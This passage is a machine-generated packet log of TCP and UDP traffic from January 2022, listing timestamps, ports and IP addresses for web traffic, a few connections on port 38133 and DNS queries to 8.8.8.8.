Jan 14, 2022 01:52:08.986686945 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986704111 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986727953 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986766100 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986783981 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986804962 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986844063 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986860991 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.986881971 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986922026 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.986934900 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.987000942 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.987041950 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.987059116 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:08.987080097 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:08.987186909 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022382021 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022433043 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022474051 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022506952 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022511005 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022551060 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022583008 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022588968 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022634029 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022653103 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022674084 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022711992 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022730112 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022751093 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022789955 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022804976 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022826910 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022866011 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022876024 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022905111 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022942066 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.022958040 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.022979975 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023015976 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023035049 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023055077 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023092985 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023109913 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023128986 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023166895 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023181915 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023205042 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023243904 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023260117 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023283958 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023319960 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023349047 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023356915 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023396969 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023415089 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023432970 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023469925 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023488998 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023508072 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023546934 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023561954 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023583889 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023621082 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023639917 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023658037 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023710012 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.023742914 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023782015 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.023833036 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.061734915 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.061788082 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.061829090 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.061897039 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.061933994 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.061973095 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.061999083 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062038898 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062046051 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062088013 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062093973 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062125921 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062165022 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062174082 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062206030 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062242985 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062244892 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062283039 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062320948 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062352896 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062360048 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062401056 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062424898 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062458992 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062480927 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062514067 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062552929 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062587976 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062589884 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062629938 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062669039 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062683105 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062705994 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062735081 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062745094 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062783003 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062817097 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062822104 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062861919 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062891960 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062922955 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.062942982 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.062963963 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063004017 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063016891 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063044071 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063069105 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063081026 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063119888 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063119888 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063157082 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063195944 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063200951 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063235998 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063272953 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063278913 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063311100 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063349962 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063368082 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063386917 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063427925 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063431025 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063465118 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063500881 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063503027 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063543081 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063577890 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063579082 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063617945 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063653946 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063656092 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063693047 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063728094 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.063731909 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.063800097 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.098381042 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098431110 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098470926 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098510027 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098555088 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.098565102 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098607063 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.098612070 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098650932 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098679066 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.098691940 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098731041 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098758936 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.098768950 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098822117 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098860025 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.098931074 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098969936 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.098989964 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099008083 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099046946 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099061012 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099082947 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099121094 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099137068 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099159002 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099198103 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099220037 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099237919 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099282026 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099286079 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099353075 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099391937 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099407911 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099431038 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099468946 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099504948 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099509001 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099548101 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099556923 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099576950 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.099631071 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.099868059 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:09.174578905 CET	80	49958	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:09.174664974 CET	49958	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:13.838471889 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:52:13.880038023 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:52:13.880079985 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:52:13.880108118 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:52:13.880170107 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:52:14.096124887 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:52:15.334793091 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:52:15.367625952 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:52:15.449512005 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:52:15.450362921 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:52:15.526070118 CET	38133	49860	86.107.197.138	192.168.2.3
Jan 14, 2022 01:52:15.543037891 CET	49860	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 01:52:27.110768080 CET	80	49842	141.8.194.74	192.168.2.3
Jan 14, 2022 01:52:27.110891104 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:27.110961914 CET	49842	80	192.168.2.3	141.8.194.74
Jan 14, 2022 01:52:27.290851116 CET	80	49842	141.8.194.74	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 01:50:47.640256882 CET	54154	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:47.959630013 CET	53	54154	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:48.104114056 CET	52806	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:48.437752008 CET	53	52806	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:48.580070972 CET	53910	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:48.913573980 CET	53	53910	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:49.058157921 CET	64021	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:49.382827044 CET	53	64021	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:49.546531916 CET	60784	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:49.855725050 CET	53	60784	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:50.011868954 CET	51143	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:50.321561098 CET	53	51143	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:51.665627956 CET	56009	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:51.684905052 CET	53	56009	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:51.834808111 CET	59026	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:51.853822947 CET	53	59026	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:51.993308067 CET	49572	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:52.012651920 CET	53	49572	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:53.851583004 CET	60823	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:53.871186018 CET	53	60823	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:54.049606085 CET	52130	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:54.068969965 CET	53	52130	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:54.225271940 CET	55102	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:54.513427973 CET	53	55102	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:54.813759089 CET	56527	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:54.831275940 CET	53	56527	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:54.982538939 CET	49559	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:55.272592068 CET	53	49559	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:57.294143915 CET	60352	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:57.313293934 CET	53	60352	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:57.487633944 CET	56773	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:57.506788969 CET	53	56773	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:57.658384085 CET	60982	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:57.677881956 CET	53	60982	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:57.738296986 CET	58058	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:57.757555008 CET	53	58058	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:58.067694902 CET	64367	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:58.087929010 CET	53	64367	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:58.231393099 CET	51539	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:58.251146078 CET	53	51539	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:58.426559925 CET	55393	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:58.445990086 CET	53	55393	8.8.8.8	192.168.2.3
Jan 14, 2022 01:50:58.590630054 CET	63456	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:50:58.909804106 CET	53	63456	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:01.816116095 CET	58540	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:01.836472034 CET	53	58540	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:01.980012894 CET	55108	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:02.268055916 CET	53	55108	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:02.460314989 CET	58942	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:02.478085041 CET	53	58942	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:02.617872000 CET	64432	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:02.905957937 CET	53	64432	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:04.905617952 CET	49250	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:04.923309088 CET	53	49250	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:05.073463917 CET	63490	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:05.093651056 CET	53	63490	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:05.255853891 CET	65110	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:05.274148941 CET	53	65110	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:05.422151089 CET	61120	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:05.443295956 CET	53	61120	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:07.224637032 CET	53079	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:07.243885994 CET	53	53079	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:07.391165972 CET	50824	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:07.410717964 CET	53	50824	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:07.547972918 CET	56706	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:07.565342903 CET	53	56706	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:28.893117905 CET	65501	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:28.910213947 CET	53	65501	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:29.078313112 CET	53465	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:29.097570896 CET	53	53465	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:29.277400017 CET	49290	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:29.296864986 CET	53	49290	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:29.463525057 CET	59754	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:29.752197981 CET	53	59754	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:29.945916891 CET	49234	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:29.964706898 CET	53	49234	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:30.115587950 CET	58720	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:30.133033991 CET	53	58720	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:30.280288935 CET	57447	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:30.299813032 CET	53	57447	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:30.443161011 CET	63583	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:30.462840080 CET	53	63583	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:30.630795956 CET	64099	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:30.650084019 CET	53	64099	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:30.831780910 CET	64610	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:30.850527048 CET	53	64610	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:31.010147095 CET	51989	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:31.029630899 CET	53	51989	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:31.215100050 CET	53152	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:31.234694004 CET	53	53152	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:31.375078917 CET	61590	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:31.394184113 CET	53	61590	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:31.570491076 CET	56077	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:31.589926004 CET	53	56077	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:33.524425030 CET	57951	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:33.544007063 CET	53	57951	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:33.686821938 CET	53276	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:33.706794977 CET	53	53276	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:33.889261961 CET	60135	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:33.911286116 CET	53	60135	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:34.254285097 CET	49849	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:34.271531105 CET	53	49849	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:34.628578901 CET	60253	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:34.648617983 CET	53	60253	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:34.902913094 CET	58706	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:34.921725988 CET	53	58706	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:35.087841988 CET	62677	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:35.107302904 CET	53	62677	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:35.659677982 CET	62595	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:35.680356026 CET	53	62595	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:35.890943050 CET	51189	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:35.910305977 CET	53	51189	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:36.961688042 CET	49967	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:36.979479074 CET	53	49967	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:38.630912066 CET	51454	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:38.650409937 CET	53	51454	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:38.806997061 CET	57163	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:38.824302912 CET	53	57163	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:38.997129917 CET	56360	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:39.054157019 CET	53	56360	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:41.099307060 CET	49258	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:41.118388891 CET	53	49258	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:41.495398045 CET	56195	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:41.514084101 CET	53	56195	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:41.660986900 CET	53021	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:41.679867983 CET	53	53021	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:41.917931080 CET	52618	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:41.937021971 CET	53	52618	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:42.217092037 CET	51633	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:42.236622095 CET	53	51633	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:42.319753885 CET	50346	53	192.168.2.3	8.8.8.8
Jan 14, 2022 01:51:42.348671913 CET	53	50346	8.8.8.8	192.168.2.3
Jan 14, 2022 01:51:42.405042887 CET	50281	53	192.168.2.3	8.8.8.8
